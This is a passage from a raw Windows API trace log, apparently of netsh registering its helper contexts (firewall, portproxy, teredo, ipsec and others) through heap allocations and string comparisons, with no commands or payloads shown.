(HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1c0) returned 0x11aa58fc700 [0129.998] GetProcessHeap () returned 0x11aa58a0000 [0129.998] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fc0a0) returned 1 [0129.998] RegisterContext () returned 0x0 [0129.998] _wcsicmp (_String1="lan", _String2="advfirewall") returned 11 [0129.998] _wcsicmp (_String1="lan", _String2="dhcpclient") returned 8 [0129.998] _wcsicmp (_String1="lan", _String2="interface") returned 3 [0129.998] _wcsicmp (_String1="lan", _String2="ras") returned -6 [0129.998] _wcsicmp (_String1="lan", _String2="advfirewall") returned 11 [0129.998] _wcsicmp (_String1="lan", _String2="dhcpclient") returned 8 [0129.999] _wcsicmp (_String1="lan", _String2="interface") returned 3 [0129.999] _wcsicmp (_String1="lan", _String2="ras") returned -6 [0129.999] GetProcessHeap () returned 0x11aa58a0000 [0129.999] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x230) returned 0x11aa58fc8d0 [0129.999] GetProcessHeap () returned 0x11aa58a0000 [0129.999] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fc700) returned 1 [0130.062] RegisterContext () returned 0x0 [0130.062] _wcsicmp (_String1="firewall", _String2="advfirewall") returned 5 [0130.062] _wcsicmp (_String1="firewall", _String2="dhcpclient") returned 2 [0130.062] _wcsicmp (_String1="firewall", _String2="interface") returned -3 [0130.062] _wcsicmp (_String1="firewall", _String2="lan") returned -6 [0130.062] _wcsicmp (_String1="firewall", _String2="ras") returned -12 [0130.062] _wcsicmp (_String1="firewall", _String2="advfirewall") returned 5 [0130.062] _wcsicmp (_String1="firewall", _String2="dhcpclient") returned 2 [0130.062] _wcsicmp (_String1="firewall", _String2="interface") returned -3 [0130.063] GetProcessHeap () returned 0x11aa58a0000 [0130.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x2a0) returned 0x11aa58fcb10 [0130.063] GetProcessHeap () returned 0x11aa58a0000 [0130.063] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fc8d0) returned 1 [0130.063] RegisterContext () returned 0x0 [0130.063] _wcsicmp (_String1="bridge", _String2="advfirewall") returned 1 [0130.063] _wcsicmp (_String1="bridge", _String2="dhcpclient") returned -2 [0130.063] _wcsicmp (_String1="bridge", _String2="firewall") returned -4 [0130.063] _wcsicmp (_String1="bridge", _String2="interface") returned -7 [0130.063] _wcsicmp (_String1="bridge", _String2="lan") returned -10 [0130.063] _wcsicmp (_String1="bridge", _String2="ras") returned -16 [0130.063] _wcsicmp (_String1="bridge", _String2="advfirewall") returned 1 [0130.063] _wcsicmp (_String1="bridge", _String2="dhcpclient") returned -2 [0130.063] GetProcessHeap () returned 0x11aa58a0000 [0130.063] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x310) returned 0x11aa58fc700 [0130.063] GetProcessHeap () returned 0x11aa58a0000 [0130.063] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fcb10) returned 1 [0130.063] RegisterContext () returned 0x0 [0130.063] _wcsicmp (_String1="netio", _String2="advfirewall") returned 13 [0130.063] _wcsicmp (_String1="netio", _String2="bridge") returned 12 [0130.063] _wcsicmp (_String1="netio", _String2="dhcpclient") returned 10 [0130.063] _wcsicmp (_String1="netio", _String2="firewall") returned 8 [0130.063] _wcsicmp (_String1="netio", _String2="interface") returned 5 [0130.063] _wcsicmp (_String1="netio", _String2="lan") returned 2 [0130.063] _wcsicmp (_String1="netio", _String2="ras") returned -4 [0130.063] _wcsicmp (_String1="netio", _String2="advfirewall") returned 13 [0130.063] _wcsicmp (_String1="netio", _String2="bridge") returned 12 [0130.063] _wcsicmp (_String1="netio", _String2="dhcpclient") returned 10 [0130.063] _wcsicmp (_String1="netio", _String2="firewall") returned 8 [0130.064] _wcsicmp (_String1="netio", _String2="interface") returned 5 [0130.064] _wcsicmp (_String1="netio", _String2="lan") returned 2 [0130.064] _wcsicmp (_String1="netio", _String2="ras") returned -4 [0130.064] GetProcessHeap () returned 0x11aa58a0000 [0130.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x380) returned 0x11aa58fca20 [0130.064] GetProcessHeap () returned 0x11aa58a0000 [0130.064] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fc700) returned 1 [0130.064] RegisterContext () returned 0x0 [0130.064] _wcsicmp (_String1="dnsclient", _String2="advfirewall") returned 3 [0130.064] _wcsicmp (_String1="dnsclient", _String2="bridge") returned 2 [0130.064] _wcsicmp (_String1="dnsclient", _String2="dhcpclient") returned 6 [0130.064] _wcsicmp (_String1="dnsclient", _String2="firewall") returned -2 [0130.064] _wcsicmp (_String1="dnsclient", _String2="interface") returned -5 [0130.064] _wcsicmp (_String1="dnsclient", _String2="lan") returned -8 [0130.064] _wcsicmp (_String1="dnsclient", _String2="netio") returned -10 [0130.064] _wcsicmp (_String1="dnsclient", _String2="ras") returned -14 [0130.064] _wcsicmp (_String1="dnsclient", _String2="advfirewall") returned 3 [0130.064] _wcsicmp (_String1="dnsclient", _String2="bridge") returned 2 [0130.064] _wcsicmp (_String1="dnsclient", _String2="dhcpclient") returned 6 [0130.064] _wcsicmp (_String1="dnsclient", _String2="firewall") returned -2 [0130.064] GetProcessHeap () returned 0x11aa58a0000 [0130.064] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x3f0) returned 0x11aa58f34c0 [0130.064] GetProcessHeap () returned 0x11aa58a0000 [0130.064] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fca20) returned 1 [0130.064] RegisterContext () returned 0x0 [0130.064] _wcsicmp (_String1="namespace", _String2="advfirewall") returned 13 [0130.064] _wcsicmp (_String1="namespace", _String2="bridge") returned 12 [0130.064] _wcsicmp (_String1="namespace", _String2="dhcpclient") returned 10 [0130.064] _wcsicmp (_String1="namespace", _String2="dnsclient") returned 10 [0130.064] _wcsicmp (_String1="namespace", _String2="firewall") returned 8 [0130.064] _wcsicmp (_String1="namespace", _String2="interface") returned 5 [0130.064] _wcsicmp (_String1="namespace", _String2="lan") returned 2 [0130.065] _wcsicmp (_String1="namespace", _String2="netio") returned -4 [0130.065] _wcsicmp (_String1="namespace", _String2="ras") returned -4 [0130.065] _wcsicmp (_String1="namespace", _String2="advfirewall") returned 13 [0130.065] _wcsicmp (_String1="namespace", _String2="bridge") returned 12 [0130.065] _wcsicmp (_String1="namespace", _String2="dhcpclient") returned 10 [0130.065] _wcsicmp (_String1="namespace", _String2="dnsclient") returned 10 [0130.065] _wcsicmp (_String1="namespace", _String2="firewall") returned 8 [0130.065] _wcsicmp (_String1="namespace", _String2="interface") returned 5 [0130.065] _wcsicmp (_String1="namespace", _String2="lan") returned 2 [0130.065] _wcsicmp (_String1="namespace", _String2="netio") returned -4 [0130.065] GetProcessHeap () returned 0x11aa58a0000 [0130.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x460) returned 0x11aa58f38c0 [0130.065] GetProcessHeap () returned 0x11aa58a0000 [0130.065] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f34c0) returned 1 [0130.065] RegisterContext () returned 0x0 [0130.065] GetProcessHeap () returned 0x11aa58a0000 [0130.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58a2830 [0130.065] GetProcessHeap () returned 0x11aa58a0000 [0130.065] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0130.065] RegisterContext () returned 0x0 [0130.065] _wcsicmp (_String1="ipv6", _String2="ipv4") returned 2 [0130.065] _wcsicmp (_String1="ipv6", _String2="ipv4") returned 2 [0130.065] GetProcessHeap () returned 0x11aa58a0000 [0130.065] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe0) returned 0x11aa58a47e0 [0130.065] GetProcessHeap () returned 0x11aa58a0000 [0130.065] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a2830) returned 1 [0130.149] RegisterContext () returned 0x0 [0130.149] _wcsicmp (_String1="6to4", _String2="ipv4") returned -51 [0130.149] _wcsicmp (_String1="6to4", _String2="ipv6") returned -51 [0130.149] _wcsicmp (_String1="6to4", _String2="ipv4") returned -51 [0130.149] GetProcessHeap () returned 0x11aa58a0000 [0130.149] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x150) returned 0x11aa58fc0a0 [0130.149] GetProcessHeap () returned 0x11aa58a0000 [0130.149] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a47e0) returned 1 [0130.174] RegisterContext () returned 0x0 [0130.174] _wcsicmp (_String1="isatap", _String2="6to4") returned 51 [0130.174] _wcsicmp (_String1="isatap", _String2="ipv4") returned 3 [0130.174] _wcsicmp (_String1="isatap", _String2="ipv6") returned 3 [0130.174] _wcsicmp (_String1="isatap", _String2="6to4") returned 51 [0130.174] _wcsicmp (_String1="isatap", _String2="ipv4") returned 3 [0130.174] _wcsicmp (_String1="isatap", _String2="ipv6") returned 3 [0130.174] GetProcessHeap () returned 0x11aa58a0000 [0130.174] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1c0) returned 0x11aa58f3d30 [0130.174] GetProcessHeap () returned 0x11aa58a0000 [0130.174] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fc0a0) returned 1 [0130.174] RegisterContext () returned 0x0 [0130.174] _wcsicmp (_String1="teredo", _String2="6to4") returned 62 [0130.174] _wcsicmp (_String1="teredo", _String2="ipv4") returned 11 [0130.174] _wcsicmp (_String1="teredo", _String2="ipv6") returned 11 [0130.174] _wcsicmp (_String1="teredo", _String2="isatap") returned 11 [0130.174] _wcsicmp (_String1="teredo", _String2="6to4") returned 62 [0130.174] _wcsicmp (_String1="teredo", _String2="ipv4") returned 11 [0130.174] _wcsicmp (_String1="teredo", _String2="ipv6") returned 11 [0130.174] _wcsicmp (_String1="teredo", _String2="isatap") returned 11 [0130.175] GetProcessHeap () returned 0x11aa58a0000 [0130.175] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x230) returned 0x11aa58f34c0 [0130.175] GetProcessHeap () returned 0x11aa58a0000 [0130.175] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3d30) returned 1 [0130.175] RegisterContext () returned 0x0 [0130.175] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58 [0130.175] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7 [0130.175] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7 [0130.175] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7 [0130.175] _wcsicmp (_String1="portproxy", _String2="teredo") returned -4 [0130.175] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58 [0130.175] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7 [0130.175] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7 [0130.175] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7 [0130.175] _wcsicmp (_String1="portproxy", _String2="teredo") returned -4 [0130.175] GetProcessHeap () returned 0x11aa58a0000 [0130.175] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x2a0) returned 0x11aa58f3d30 [0130.175] GetProcessHeap () returned 0x11aa58a0000 [0130.175] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f34c0) returned 1 [0130.175] RegisterContext () returned 0x0 [0130.175] GetProcessHeap () returned 0x11aa58a0000 [0130.175] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58a2830 [0130.175] GetProcessHeap () returned 0x11aa58a0000 [0130.175] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0130.175] RegisterContext () returned 0x0 [0130.175] _wcsicmp (_String1="isatap", _String2="6to4") returned 51 [0130.176] _wcsicmp (_String1="isatap", _String2="6to4") returned 51 [0130.176] GetProcessHeap () returned 0x11aa58a0000 [0130.176] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe0) returned 0x11aa58a47e0 [0130.176] GetProcessHeap () returned 0x11aa58a0000 [0130.176] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a2830) returned 1 [0130.176] RegisterContext () returned 0x0 [0130.176] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58 [0130.176] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7 [0130.176] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7 [0130.176] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7 [0130.176] _wcsicmp (_String1="portproxy", _String2="portproxy") returned 0 [0130.176] RegisterContext () returned 0x0 [0130.176] _wcsicmp (_String1="httpstunnel", _String2="6to4") returned 50 [0130.176] _wcsicmp (_String1="httpstunnel", _String2="ipv4") returned -1 [0130.176] _wcsicmp (_String1="httpstunnel", _String2="ipv6") returned -1 [0130.176] _wcsicmp (_String1="httpstunnel", _String2="isatap") returned -1 [0130.176] _wcsicmp (_String1="httpstunnel", _String2="portproxy") returned -8 [0130.176] _wcsicmp (_String1="httpstunnel", _String2="teredo") returned -12 [0130.176] _wcsicmp (_String1="httpstunnel", _String2="6to4") returned 50 [0130.176] _wcsicmp (_String1="httpstunnel", _String2="ipv4") returned -1 [0130.176] GetProcessHeap () returned 0x11aa58a0000 [0130.176] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x310) returned 0x11aa58f34c0 [0130.176] GetProcessHeap () returned 0x11aa58a0000 [0130.176] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3d30) returned 1 [0130.176] RegisterContext () returned 0x0 [0130.176] _wcsicmp (_String1="tcp", _String2="6to4") returned 62 [0130.176] _wcsicmp (_String1="tcp", _String2="httpstunnel") returned 12 [0130.176] _wcsicmp (_String1="tcp", _String2="ipv4") returned 11 [0130.176] _wcsicmp (_String1="tcp", _String2="ipv6") returned 11 [0130.176] _wcsicmp (_String1="tcp", _String2="isatap") returned 11 [0130.176] _wcsicmp (_String1="tcp", _String2="portproxy") returned 4 [0130.177] _wcsicmp (_String1="tcp", _String2="teredo") returned -2 [0130.177] _wcsicmp (_String1="tcp", _String2="6to4") returned 62 [0130.177] _wcsicmp (_String1="tcp", _String2="httpstunnel") returned 12 [0130.177] _wcsicmp (_String1="tcp", _String2="ipv4") returned 11 [0130.177] _wcsicmp (_String1="tcp", _String2="ipv6") returned 11 [0130.177] _wcsicmp (_String1="tcp", _String2="isatap") returned 11 [0130.177] _wcsicmp (_String1="tcp", _String2="portproxy") returned 4 [0130.177] _wcsicmp (_String1="tcp", _String2="teredo") returned -2 [0130.177] GetProcessHeap () returned 0x11aa58a0000 [0130.177] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x380) returned 0x11aa58fc700 [0130.177] GetProcessHeap () returned 0x11aa58a0000 [0130.177] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f34c0) returned 1 [0130.177] RegisterContext () returned 0x0 [0130.315] _wcsicmp (_String1="trace", _String2="advfirewall") returned 19 [0130.315] _wcsicmp (_String1="trace", _String2="bridge") returned 18 [0130.315] _wcsicmp (_String1="trace", _String2="dhcpclient") returned 16 [0130.315] _wcsicmp (_String1="trace", _String2="dnsclient") returned 16 [0130.315] _wcsicmp (_String1="trace", _String2="firewall") returned 14 [0130.315] _wcsicmp (_String1="trace", _String2="interface") returned 11 [0130.315] _wcsicmp (_String1="trace", _String2="lan") returned 8 [0130.315] _wcsicmp (_String1="trace", _String2="namespace") returned 6 [0130.315] _wcsicmp (_String1="trace", _String2="netio") returned 6 [0130.315] _wcsicmp (_String1="trace", _String2="ras") returned 2 [0130.315] _wcsicmp (_String1="trace", _String2="advfirewall") returned 19 [0130.315] _wcsicmp (_String1="trace", _String2="bridge") returned 18 [0130.315] _wcsicmp (_String1="trace", _String2="dhcpclient") returned 16 [0130.315] _wcsicmp (_String1="trace", _String2="dnsclient") returned 16 [0130.315] _wcsicmp (_String1="trace", _String2="firewall") returned 14 [0130.315] _wcsicmp (_String1="trace", _String2="interface") returned 11 [0130.315] _wcsicmp (_String1="trace", _String2="lan") returned 8 [0130.315] _wcsicmp (_String1="trace", _String2="namespace") returned 6 [0130.315] _wcsicmp (_String1="trace", _String2="netio") returned 6 [0130.316] _wcsicmp (_String1="trace", _String2="ras") returned 2 [0130.316] GetProcessHeap () returned 0x11aa58a0000 [0130.316] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x4d0) returned 0x11aa58fca90 [0130.316] GetProcessHeap () returned 0x11aa58a0000 [0130.316] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f38c0) returned 1 [0130.343] RegisterContext () returned 0x0 [0130.343] _wcsicmp (_String1="http", _String2="advfirewall") returned 7 [0130.343] _wcsicmp (_String1="http", _String2="bridge") returned 6 [0130.343] _wcsicmp (_String1="http", _String2="dhcpclient") returned 4 [0130.343] _wcsicmp (_String1="http", _String2="dnsclient") returned 4 [0130.343] _wcsicmp (_String1="http", _String2="firewall") returned 2 [0130.343] _wcsicmp (_String1="http", _String2="interface") returned -1 [0130.343] _wcsicmp (_String1="http", _String2="lan") returned -4 [0130.343] _wcsicmp (_String1="http", _String2="namespace") returned -6 [0130.343] _wcsicmp (_String1="http", _String2="netio") returned -6 [0130.343] _wcsicmp (_String1="http", _String2="ras") returned -10 [0130.343] _wcsicmp (_String1="http", _String2="trace") returned -12 [0130.343] _wcsicmp (_String1="http", _String2="advfirewall") returned 7 [0130.343] _wcsicmp (_String1="http", _String2="bridge") returned 6 [0130.343] _wcsicmp (_String1="http", _String2="dhcpclient") returned 4 [0130.343] _wcsicmp (_String1="http", _String2="dnsclient") returned 4 [0130.343] _wcsicmp (_String1="http", _String2="firewall") returned 2 [0130.343] _wcsicmp (_String1="http", _String2="interface") returned -1 [0130.343] GetProcessHeap () returned 0x11aa58a0000 [0130.343] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x540) returned 0x11aa58f34c0 [0130.343] GetProcessHeap () returned 0x11aa58a0000 [0130.343] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fca90) returned 1 [0130.344] RegisterContext () returned 0x0 [0130.344] _wcsicmp (_String1="ipsec", _String2="advfirewall") returned 8 [0130.344] _wcsicmp (_String1="ipsec", _String2="bridge") returned 7 [0130.344] _wcsicmp (_String1="ipsec", _String2="dhcpclient") returned 5 [0130.344] _wcsicmp (_String1="ipsec", _String2="dnsclient") returned 5 [0130.344] _wcsicmp (_String1="ipsec", _String2="firewall") returned 3 [0130.344] _wcsicmp (_String1="ipsec", _String2="http") returned 1 [0130.344] _wcsicmp (_String1="ipsec", _String2="interface") returned 2 [0130.344] _wcsicmp (_String1="ipsec", _String2="lan") returned -3 [0130.344] _wcsicmp (_String1="ipsec", _String2="namespace") returned -5 [0130.344] _wcsicmp (_String1="ipsec", _String2="netio") returned -5 [0130.344] _wcsicmp (_String1="ipsec", _String2="ras") returned -9 [0130.344] _wcsicmp (_String1="ipsec", _String2="trace") returned -11 [0130.344] _wcsicmp (_String1="ipsec", _String2="advfirewall") returned 8 [0130.344] _wcsicmp (_String1="ipsec", _String2="bridge") returned 7 [0130.344] _wcsicmp (_String1="ipsec", _String2="dhcpclient") returned 5 [0130.344] _wcsicmp (_String1="ipsec", _String2="dnsclient") returned 5 [0130.344] _wcsicmp (_String1="ipsec", _String2="firewall") returned 3 [0130.344] _wcsicmp (_String1="ipsec", _String2="http") returned 1 [0130.344] _wcsicmp (_String1="ipsec", _String2="interface") returned 2 [0130.344] _wcsicmp (_String1="ipsec", _String2="lan") returned -3 [0130.344] GetProcessHeap () returned 0x11aa58a0000 [0130.344] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x5b0) returned 0x11aa58f3a10 [0130.344] GetProcessHeap () returned 0x11aa58a0000 [0130.344] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f34c0) returned 1 [0130.344] RegisterContext () returned 0x0 [0130.344] GetProcessHeap () returned 0x11aa58a0000 [0130.344] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58a2830 [0130.344] GetProcessHeap () returned 0x11aa58a0000 [0130.344] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0130.344] RegisterContext () returned 0x0 [0130.344] _wcsicmp (_String1="dynamic", _String2="static") returned -15 [0130.345] _wcsicmp (_String1="dynamic", _String2="static") returned -15 [0130.345] GetProcessHeap () returned 0x11aa58a0000 [0130.345] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe0) returned 0x11aa58ea850 [0130.345] GetProcessHeap () returned 0x11aa58a0000 [0130.345] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a2830) returned 1 [0130.345] RegisterContext () returned 0x0 [0130.345] _wcsicmp (_String1="static", _String2="dynamic") returned 15 [0130.345] _wcsicmp (_String1="static", _String2="static") returned 0 [0130.345] RegisterContext () returned 0x0 [0130.345] _wcsicmp (_String1="dynamic", _String2="dynamic") returned 0 [0130.345] RegisterContext () returned 0x0 [0130.376] _wcsicmp (_String1="wfp", _String2="advfirewall") returned 22 [0130.376] _wcsicmp (_String1="wfp", _String2="bridge") returned 21 [0130.376] _wcsicmp (_String1="wfp", _String2="dhcpclient") returned 19 [0130.376] _wcsicmp (_String1="wfp", _String2="dnsclient") returned 19 [0130.376] _wcsicmp (_String1="wfp", _String2="firewall") returned 17 [0130.376] _wcsicmp (_String1="wfp", _String2="http") returned 15 [0130.376] _wcsicmp (_String1="wfp", _String2="interface") returned 14 [0130.376] _wcsicmp (_String1="wfp", _String2="ipsec") returned 14 [0130.376] _wcsicmp (_String1="wfp", _String2="lan") returned 11 [0130.376] _wcsicmp (_String1="wfp", _String2="namespace") returned 9 [0130.377] _wcsicmp (_String1="wfp", _String2="netio") returned 9 [0130.377] _wcsicmp (_String1="wfp", _String2="ras") returned 5 [0130.377] _wcsicmp (_String1="wfp", _String2="trace") returned 3 [0130.377] _wcsicmp (_String1="wfp", _String2="advfirewall") returned 22 [0130.377] _wcsicmp (_String1="wfp", _String2="bridge") returned 21 [0130.377] _wcsicmp (_String1="wfp", _String2="dhcpclient") returned 19 [0130.377] _wcsicmp (_String1="wfp", _String2="dnsclient") returned 19 [0130.377] _wcsicmp (_String1="wfp", _String2="firewall") returned 17 [0130.377] _wcsicmp (_String1="wfp", _String2="http") returned 15 [0130.377] _wcsicmp (_String1="wfp", _String2="interface") returned 14 [0130.377] _wcsicmp (_String1="wfp", _String2="ipsec") returned 14 [0130.377] _wcsicmp (_String1="wfp", _String2="lan") returned 11 [0130.377] _wcsicmp (_String1="wfp", _String2="namespace") returned 9 [0130.377] _wcsicmp (_String1="wfp", _String2="netio") returned 9 [0130.377] _wcsicmp (_String1="wfp", _String2="ras") returned 5 [0130.377] _wcsicmp (_String1="wfp", _String2="trace") returned 3 [0130.377] GetProcessHeap () returned 0x11aa58a0000 [0130.377] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x620) returned 0x11aa58fcd10 [0130.379] GetProcessHeap () returned 0x11aa58a0000 [0130.379] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3a10) returned 1 [0130.399] RegisterContext () returned 0x0 [0130.399] _wcsicmp (_String1="p2p", _String2="advfirewall") returned 15 [0130.399] _wcsicmp (_String1="p2p", _String2="bridge") returned 14 [0130.399] _wcsicmp (_String1="p2p", _String2="dhcpclient") returned 12 [0130.399] _wcsicmp (_String1="p2p", _String2="dnsclient") returned 12 [0130.399] _wcsicmp (_String1="p2p", _String2="firewall") returned 10 [0130.399] _wcsicmp (_String1="p2p", _String2="http") returned 8 [0130.399] _wcsicmp (_String1="p2p", _String2="interface") returned 7 [0130.399] _wcsicmp (_String1="p2p", _String2="ipsec") returned 7 [0130.399] _wcsicmp (_String1="p2p", _String2="lan") returned 4 [0130.399] _wcsicmp (_String1="p2p", _String2="namespace") returned 2 [0130.399] _wcsicmp (_String1="p2p", _String2="netio") returned 2 [0130.399] _wcsicmp (_String1="p2p", _String2="ras") returned -2 [0130.399] _wcsicmp (_String1="p2p", _String2="trace") returned -4 [0130.399] _wcsicmp (_String1="p2p", _String2="wfp") returned -7 [0130.399] _wcsicmp (_String1="p2p", _String2="advfirewall") returned 15 [0130.400] _wcsicmp (_String1="p2p", _String2="bridge") returned 14 [0130.400] _wcsicmp (_String1="p2p", _String2="dhcpclient") returned 12 [0130.400] _wcsicmp (_String1="p2p", _String2="dnsclient") returned 12 [0130.400] _wcsicmp (_String1="p2p", _String2="firewall") returned 10 [0130.400] _wcsicmp (_String1="p2p", _String2="http") returned 8 [0130.400] _wcsicmp (_String1="p2p", _String2="interface") returned 7 [0130.400] _wcsicmp (_String1="p2p", _String2="ipsec") returned 7 [0130.400] _wcsicmp (_String1="p2p", _String2="lan") returned 4 [0130.400] _wcsicmp (_String1="p2p", _String2="namespace") returned 2 [0130.400] _wcsicmp (_String1="p2p", _String2="netio") returned 2 [0130.400] _wcsicmp (_String1="p2p", _String2="ras") returned -2 [0130.400] GetProcessHeap () returned 0x11aa58a0000 [0130.400] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x690) returned 0x11aa58f38c0 [0130.400] GetProcessHeap () returned 0x11aa58a0000 [0130.400] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58fcd10) returned 1 [0130.400] RegisterContext () returned 0x0 [0130.400] GetProcessHeap () returned 0x11aa58a0000 [0130.400] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58f3f60 [0130.400] GetProcessHeap () returned 0x11aa58a0000 [0130.400] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0130.448] RegisterContext () returned 0x0 [0130.448] _wcsicmp (_String1="group", _String2="pnrp") returned -9 [0130.448] _wcsicmp (_String1="group", _String2="pnrp") returned -9 [0130.448] GetProcessHeap () returned 0x11aa58a0000 [0130.448] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe0) returned 0x11aa58c7d80 [0130.448] GetProcessHeap () returned 0x11aa58a0000 [0130.448] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3f60) returned 1 [0130.463] RegisterContext () returned 0x0 [0130.463] _wcsicmp (_String1="idmgr", _String2="group") returned 2 [0130.463] _wcsicmp (_String1="idmgr", _String2="pnrp") returned -7 [0130.464] _wcsicmp (_String1="idmgr", _String2="group") returned 2 [0130.464] _wcsicmp (_String1="idmgr", _String2="pnrp") returned -7 [0130.464] GetProcessHeap () returned 0x11aa58a0000 [0130.464] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x150) returned 0x11aa58fc0a0 [0130.464] GetProcessHeap () returned 0x11aa58a0000 [0130.464] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c7d80) returned 1 [0130.464] RegisterContext () returned 0x0 [0130.464] GetProcessHeap () returned 0x11aa58a0000 [0130.464] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58f3f60 [0130.464] GetProcessHeap () returned 0x11aa58a0000 [0130.464] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0130.464] RegisterContext () returned 0x0 [0130.464] _wcsicmp (_String1="diagnostics", _String2="cloud") returned 1 [0130.464] _wcsicmp (_String1="diagnostics", _String2="cloud") returned 1 [0130.464] GetProcessHeap () returned 0x11aa58a0000 [0130.464] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xe0) returned 0x11aa58c7d80 [0130.464] GetProcessHeap () returned 0x11aa58a0000 [0130.464] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3f60) returned 1 [0130.464] RegisterContext () returned 0x0 [0130.464] _wcsicmp (_String1="peer", _String2="cloud") returned 13 [0130.464] _wcsicmp (_String1="peer", _String2="diagnostics") returned 12 [0130.464] _wcsicmp (_String1="peer", _String2="cloud") returned 13 [0130.464] _wcsicmp (_String1="peer", _String2="diagnostics") returned 12 [0130.465] GetProcessHeap () returned 0x11aa58a0000 [0130.465] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x150) returned 0x11aa58fc3d0 [0130.465] GetProcessHeap () returned 0x11aa58a0000 [0130.465] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c7d80) returned 1 [0130.465] RegisterContext () returned 0x0 [0130.465] GetProcessHeap () returned 0x11aa58a0000 